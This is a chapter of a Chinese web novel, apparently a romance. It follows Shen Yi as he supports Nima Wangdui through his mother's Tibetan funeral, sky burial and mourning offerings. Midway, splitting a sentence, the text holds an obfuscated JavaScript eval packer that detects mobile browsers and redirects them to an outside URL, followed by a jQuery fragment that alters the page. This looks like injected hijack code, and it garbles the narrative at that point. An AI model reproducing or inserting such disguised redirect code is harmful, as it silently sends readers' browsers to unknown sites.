天边泛起鱼肚白的时候，尼玛旺堆起身，去给舅舅打电话。
他的声音很平静，用藏语简单说明了情况，请舅舅来主持后事。挂断电话后，他站在院子里，仰头看着渐渐亮起来的天空，久久没有动。
沈翊走过去，站在他身边，什么也没说，只是并肩站着。
晨光中，尼玛旺堆的侧脸线条清晰而冷硬，仿佛一夜之间褪去了最后一点青涩。他的睫毛很长，在眼睑下投出浅淡的阴影。沈翊看见他喉结滚动了一下，像是把什么沉重的东西咽了回去。
“舅舅说，他中午前到。”尼玛旺堆开口，声音依然沙哑，“按照传统，遗体要在家停放三天。”
沈翊点点头。他不懂这些习俗，但他知道，此刻自己能做的只有陪伴。
接下来的时间里，这个曾经充满生气的家被一种肃穆的寂静笼罩。
舅舅来了，还带来几位寺庙的僧人。他们为米玛阿姨整理了遗容，她的身体被摆成婴儿在母体中蜷缩的姿势，用洁白的哈达仔细包裹。第一次来到这个世界时如此，离开时亦是如此，这是一个完整的轮回。
德吉次仁在为母亲换衣服时发现，老人早就为自己准备好了最后一身衣裳，那是一件颜色已经不再鲜艳、却浆洗得干干净净的旧藏袍，袖口和领口绣着繁复的花纹。德吉次仁认出，那是外婆留给妈妈的嫁妆。
“她早就知道了。”德吉次仁低声对沈翊说，眼泪终于滑落，“她什么都知道。”
沈翊心里一酸。他想起米玛阿姨最近总是长时间地抚摸那只猫，总是仔细擦拭每一盏燃灯，总是用那种深重的、仿佛要把一切都刻进记忆的眼神看着孩子们。
原来，那是在告别。
第一天在喇嘛和僧人的诵经声中度过。低沉的喉音、清脆的法器、规律的鼓点，这些声音交织在一起，形成一种具有奇异安抚力量的场域。沈翊听不懂经文的内容，但他能感受到那种庄严，那不是悲伤的宣泄，而是对生命的礼赞，对灵魂的护送。
尼玛旺堆和德吉次仁一直跪在母亲身边，跟着念诵，添灯油，更换净水。他们的脸上没有崩溃的痕迹，只有一种深沉的专注，仿佛将所有的情感都倾注进了这些延续了千百年的仪式中。
只有那只猫，不明白发生了什么。它绕着佛堂门口打转，发出困惑的喵呜声，不明白为什么那个总是温柔抚摸它、给它留食物的人类，今天不再回应它的呼唤。
夜深了，诵经声暂歇。僧人们去隔壁房间休息，准备明天继续。
沈翊一直在照顾牛羊，忙完后他走进佛堂，看见尼玛旺堆还跪在原地，背脊挺得笔直，像一棵不肯弯曲的树。燃灯的光芒在他脸上跳跃，明明灭灭，让他的表情看起来有些不真实。
沈翊走过去，在他身边跪下，然后伸出手，轻轻抱住了他。
这是一个很轻的拥抱，没有用力，只是将对方的身体圈进自己的臂弯里，传递一点微不足道的温暖。
尼玛旺堆的身体僵了一瞬，然后慢慢松弛下来。他低下头，额头轻轻抵在沈翊的肩膀上。
“对不起，”他的声音闷闷的，“让你经历了这些……”
“你为什么总是道歉？”沈翊打断他，声音里带着自己都没察觉的哽咽，“这不是你的错。意外是神也预料不到的事，你为什么总要把责任揽到自己身上？”
他顿了顿，将尼玛旺堆抱得更紧了些：“你就不能……依靠一下我吗？”
这句话说出口的瞬间，沈翊感到一阵近乎疼痛的释然。来西藏的这些日子，他一直是“被照顾”的那一个，尼玛旺堆为他挡风，为他暖床，为他解释一切陌生的习俗。他享受着这份好，却也一直隐隐不安，因为他从未真
正被这个人“需要”过。
现在，他终于说出来了。
尼玛旺堆沉默了很长时间。久到沈翊以为他不会回答时，他忽然用力回抱过来，手臂紧紧箍住沈翊的腰背，力道大得几乎让人喘不过气。
然后，沈翊感到颈侧传来温热的湿意。
尼玛旺堆哭了。
不是嚎啕大哭，甚至没有声音，只有滚烫的眼泪安静地滑落，渗进沈翊的衣领，烫在他的皮肤上。那种沉默的哭泣比任何宣泄都更让人心碎，这是一个习惯了承担的人，终于允许自己卸下一点点重负。
沈翊轻轻拍着他的背，像安抚一个孩子。佛堂里很安静，只有燃灯芯燃烧时细微的噼啪声，和两个人交叠的呼吸。
过了很久，尼玛旺堆终于抬起头。他的眼睛通红，脸上还有未干的泪痕，但表情已经平静了许多。他没有松开拥抱，只是将下巴搁在沈翊肩上，用一种近乎梦呓的语调开始说话：
“你知道吗？我从小就知道死亡意味着什么。”
“那年我大概……五六岁吧。爸爸喝醉了，把姐姐最爱的猫从二楼扔了下去。那只猫，姐姐养了两年，睡觉都要抱着。”
“很幸运，妈妈当时在楼下晾衣服，接住了它。猫没死，但从此离开了这个家，再也没有回来过。我最后一次
见到它，是在小学六年级的时候。它突然出现在院墙上，脏兮兮的，瘦了很多，远远看了姐姐一眼，然后跳下
墙走了。我想……它应该是来告别的。”
尼玛旺堆的声音很轻，像在讲述别人的故事：
“我爸爸不是个好父亲，也不是个好丈夫。我们家是从本家分出来的小家庭，妈妈一个人承担着两个角色——她是顶梁柱，也是我们的妈妈。”
“我记得最清楚的一次，是我还没上小学的时候。那天妈妈和爸爸吵得很凶，妈妈收拾了东西，拉着姐姐要走。其实……姐姐希望妈妈带走我。她从小就很保护我。”
“我们俩在门口拉扯了很久，最后妈妈选了姐姐。我说不伤心是假的，但我很庆幸——因为妈妈不会被我困在这里。”
他顿了顿，呼吸变得有些急促：
“旧的婚姻就是‘媒妁之言，父母之命’。现在是二十世纪，可这样的体系依旧存在。你只有走出去，见识更广阔的世界，有足够的底气，才能抵抗。”
“我舅妈就是最好的例子。舅舅是教师，舅妈是警.察——她是靠自己读书，赶上了最好的时代，才有了选择的权利。她可以选择自己喜欢的人，选择自己的婚姻。”
尼玛旺堆松开一些拥抱，看着沈翊的眼睛。燃灯的光映在他眼底，像两簇小小的火焰
“我这个人其实很坏。我以为自己注定孤独一生，我给自己算过，我没有婚姻线，姐姐也没有。”
“还记得第一次见面，姐姐说她写小说吗？她骗你的。她写的是论文，说写耽美……应该是为了试探你。”
“其实那一年，姐姐就算到家里会有客人，但为什么回来，她算不准。她认为这个人可能对我有帮助。你没来
之前，来过四个人，是姐姐去接的。民宿出问题不是故意的，是意外。但那些人都不喜欢农村，基本睡一晚就
走了。”
“你来的时候，家里正好没人跟我说话。我早就把姐姐的话忘在了脑后，只当她算错了。”
“但是看到你的第一眼……”尼玛旺堆的声音低了下去，几乎听不见，“我也不知道为什么，就觉得很开心。莫名其妙的开心。”
“我没当回事儿。我最擅长自己骗自己。”
“你说要留在这里的时候，我很开心。但是现在，我很后悔。”
他的眼神变得痛苦：“我不该留你在这里的。你只会经历更多的不幸……”
沈翊的心沉了下去。他听出了这句话里的潜台词：“所以，你是希望我走吗？”
尼玛旺堆沉默了。
沈翊用力抱紧他，像是要把自己的决心通过这个拥抱传递过去：“所以你是算出了我们之间会以分手告终，现在是在推开我吗？”
“你做梦。”他的声音因为激动而颤抖，“是我先心动的，但是你先表的白。”
“你别想甩掉我。”
尼玛旺堆怔怔地看着他，眼底那些自我保护的壁垒在这一刻终于彻底崩塌。他闭上眼睛，额头顶着沈翊的额头，低声说：“我错了。如果……”
敲门声打断了他未说完的话。
德吉次仁站在佛堂门口，眼睛红肿，但神情异常平静。她看着弟弟，用藏语说了句什么，然后换成汉语：
“妈妈的葬礼办完，我就要去寺庙了。”
沈翊猛地睁大眼睛。
德吉次仁走进来，将一个小布包塞进尼玛旺堆手里：“对不起，弟弟。”她的声音很轻，却带着不容置疑的决
绝，“但我必须去。这是妈妈的……也是我的选择。”
尼玛旺堆握着那个布包，手指收紧，骨节泛白。他看着姐姐，看了很久很久，最终，极轻地点了点头。
德吉次仁笑了，眼泪却再次滑落。她伸手，用力抱了抱弟弟，又抱了抱沈翊，然后转身离开了佛堂。
接下来的几天，这个家沉浸在一种庄严的哀悼中。
很多人来哭，很多人在念经。
尼玛旺堆和德吉次仁显得很疲惫，但始终撑着处理一切事宜，接待吊唁的亲友，准备斋饭，安排法事。他们像两棵被风雪压弯却不肯折断的树，根紧紧扎在这片土地里，枝叶却向着不同的方向生长。
沈翊尽力帮忙，尽管他听不懂大多数对话，搞不清复杂的仪轨。但他学会了添灯油，学会了摆放供品，学会了在适当的时候低头默立。他笨拙地融入这个悲伤的仪式，不是为了被认可，只是想让那两个人知道，你们不是孤独的。
第三天凌晨，天还没亮，送葬的队伍出发了。
尼玛旺堆背着被白布包裹的遗体，那是母亲最后的重量，轻盈得像一片羽毛。喇嘛在前方敲打法器，诵经声在寒冷的空气中传得很远。有人一边走，一边用白色石灰粉在路上画出两条清晰的线。
沈翊后来才知道，那是引路的标记。灵魂会沿着这两条白线，跟着亲人的脚步，去往该去的地方。
路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183007|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过的人家门口，也有人用石灰粉画出三条弧线，那是祝福，也是送别。
队伍顺时针绕扎什伦布寺转经三圈，然后缓缓走向天葬台。
沈翊没有跟去最后的地方。他和其他女眷一起留在半山腰，看着那个小小的白色包裹消失在视线尽头。德吉次仁站在他身边，双手合十，嘴唇无声地念诵着。
太阳升起的时候，远处的天葬台上空出现了黑色的斑点，是秃鹫。它们盘旋着，越来越低，最终落了下去。
德吉次仁忽然开口，声音平静得像在叙述天气：“那是最后的布施。把□□还给自然，喂养其他生命……妈妈会喜欢的。”
沈翊点点头。他虽然还不能完全理解这种告别方式，但他尊重这份源于信仰的坦然。
从那天起，尼玛旺堆开始制作“措”。
沈翊从别人那里听说，“措”在藏语里既是吉祥的象征，也与丧葬仪式有关。如果是吉祥的“措”，大家会分食；如果是丧葬用的，则不会食用，甚至不会拿到楼上——那是献给逝者的供奉。
尼玛旺堆做的显然是后者。
他花了整整一天时间，仔细地将酥油染成鲜艳的红色，混合炒熟磨细的青稞面，掺入冰糖、葡萄干、奶渣，塑成饱满的圆锥体。他的动作很慢，很专注，仿佛要将所有的思念和祈祷都揉进这小小的供奉里。
沈翊在旁边看着，偶尔递个工具，或者帮他稳住容器。两人很少说话，但有一种无声的默契在流动，当尼玛旺堆需要热水时，沈翊已经将铜壶提了过来；当他手指沾满酥油时，沈翊会适时递上干净的布。
做完“措”，尼玛旺堆将它供奉在佛堂里，放在母亲的照片前。照片是很多年前拍的，那时的米玛阿姨还很年轻，穿着鲜艳的藏袍，笑得眼睛弯弯，露出整齐的牙齿。
佛堂里，燃灯日夜不熄。
尼玛旺堆几乎住在了那里，每天添油、剪芯、更换净水。德吉次仁则仔细擦拭每一盏燃灯的外壁，让它们始终光洁如新。沈翊也试着帮忙，尽管笨手笨脚，打翻过灯油，剪断过灯芯，但尼玛旺堆从不责备，只是默默收拾好，然后教他怎么做才对。
“贵在‘诚’字。”尼玛旺堆这样说，“妈妈不会在意这些。”
一星期后的清晨，尼玛旺堆收拾了一个简单的行囊。
“我要一路向南，”他对沈翊说，“去给妈妈扔‘霞丹’。”
“‘霞丹’？”
“去寺庙为妈妈祈福。”尼玛旺堆解释，“要在有寺庙的地方，让僧人帮忙念经文，还有一些放生……算是，
替妈妈做最后的功德。”
沈翊立刻说：“我跟你一起去。”
但尼玛旺堆摇了摇头：“这次，我想一个人去。”见沈翊眼神黯淡下去，他补充道，“我很快就会回来。姐姐在家点灯，你……帮我照看她，好吗？”
他的眼神里有请求，也有承诺。
沈翊看着那双眼睛——依然清澈，却多了许多他读不懂的深重。最终，他点了点头：“好。我等你回来。”
尼玛旺堆笑了，那是一个很淡、却无比真实的笑容。他上前一步，轻轻抱了抱沈翊，在他耳边低声说：“谢谢，我很快就回来。”
然后他背上行囊，走出院门，没有回头。
沈翊站在门口，看着那个高大的背影渐渐消失在晨雾笼罩的土路尽头。风刮过院墙上的经幡，发出猎猎的声响。那只猫不知何时来到了他脚边，蹭了蹭他的裤腿，仰头发出一声绵长的“喵——”。
德吉次仁从佛堂走出来，手里拿着一盏刚添满油的燃灯。她将灯小心地放在佛龛前，然后走到沈翊身边，和他一起望着弟弟离去的方向。
“他很快就会回来的。”德吉次仁说，有些安抚意味。
“我知道。谢谢你。”沈翊说。
他们沉默地站了一会儿，直到太阳完全升起，金色的光芒洒满整个院落。牛圈里传来牦牛的声音，远处有人家
在生火，炊烟笔直地升上湛蓝的天空。
生活还在继续。
死亡不是终点，遗忘才是。
而在这里，在这片信仰与土地紧密相连的高原上，没有人会被真正遗忘。
沈翊忽然想起尼玛旺堆在湿地里说过的话：“名字有时候会成为一种束缚。所有生命，骨子里都向往自由。”
但现在他明白了，有些束缚，是人们心甘情愿背负的。比如记忆，比如爱，比如那些说不清道不明、却将人与
人紧紧系在一起的羁绊。
他转身回到屋里，开始收拾昨晚用过的茶碗。德吉次仁则拿起扫帚，仔细清扫佛堂门口的尘埃。猫跳上窗台，在阳光最好的位置蜷成一团，闭上了眼睛。
一切都和往常一样。
只是有些人离开了，有些人还在路上，而有些人，正在学习如何在这片土地上扎根，如何爱，如何告别，如何在失去之后，依然有勇气继续生活。
窗外的雪山静默矗立，见证着这一切。